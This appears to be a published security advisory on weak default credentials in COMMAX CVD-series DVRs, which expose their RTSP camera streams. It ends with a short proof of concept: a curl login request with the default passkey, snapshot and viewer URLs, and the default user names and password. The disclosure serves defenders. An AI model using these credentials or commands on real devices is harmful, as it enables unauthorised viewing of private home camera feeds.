COMMAX CVD-Axx DVR version 5.1.4 uses a weak set of default administrative credentials that can be easily guessed in remote password attacks and used to disclose the RTSP stream.
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COMMAX CVD-Axx DVR 5.1.4 Weak Default Credentials Stream Disclosure
Vendor: COMMAX Co., Ltd.
Prodcut web page: https://www.commax.com
Affected version: CVD-AH04 DVR 4.4.1
CVD-AF04 DVR 4.4.1
CVD-AH16 DVR 5.1.4
CVD-AF16 DVR 4.4.1
CVD-AF08 DVR 5.1.2
CVD-AH08 DVR 5.1.2
Summary: COMMAX offers a wide range of proven AHD CCTV systems to meet customer
needs and convenience in single or multi-family homes.
Desc: The web control panel uses weak set of default administrative credentials that
can be easily guessed in remote password attacks and disclose RTSP stream.
Tested on: Boa/0.94.14rc19
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2021-5667
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5667.php
02.08.2021
--
Login:
$ curl -X POST http://192.168.1.2/cgi-bin/websetup.cgi -d="passkey=1234"
HTTP/1.1 200 OK
Date: Mon, 16 Aug 2021 01:04:52 GMT
Server: Boa/0.94.14rc19
Accept-Ranges: bytes
Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http://www.w3.org/TR/html4/frameset.dtd">
IE (ActiveX) web player:
http://192.168.1.2/web_viewer2.html
Snapshots:
http://192.168.1.2/images/snapshot-01.jpg
http://192.168.1.2/images/snapshot-02.jpg
http://192.168.1.2/images/snapshot-nn.jpg
Creds:
Users: ADMIN,USER1,USER2,USER3
Password: 1234
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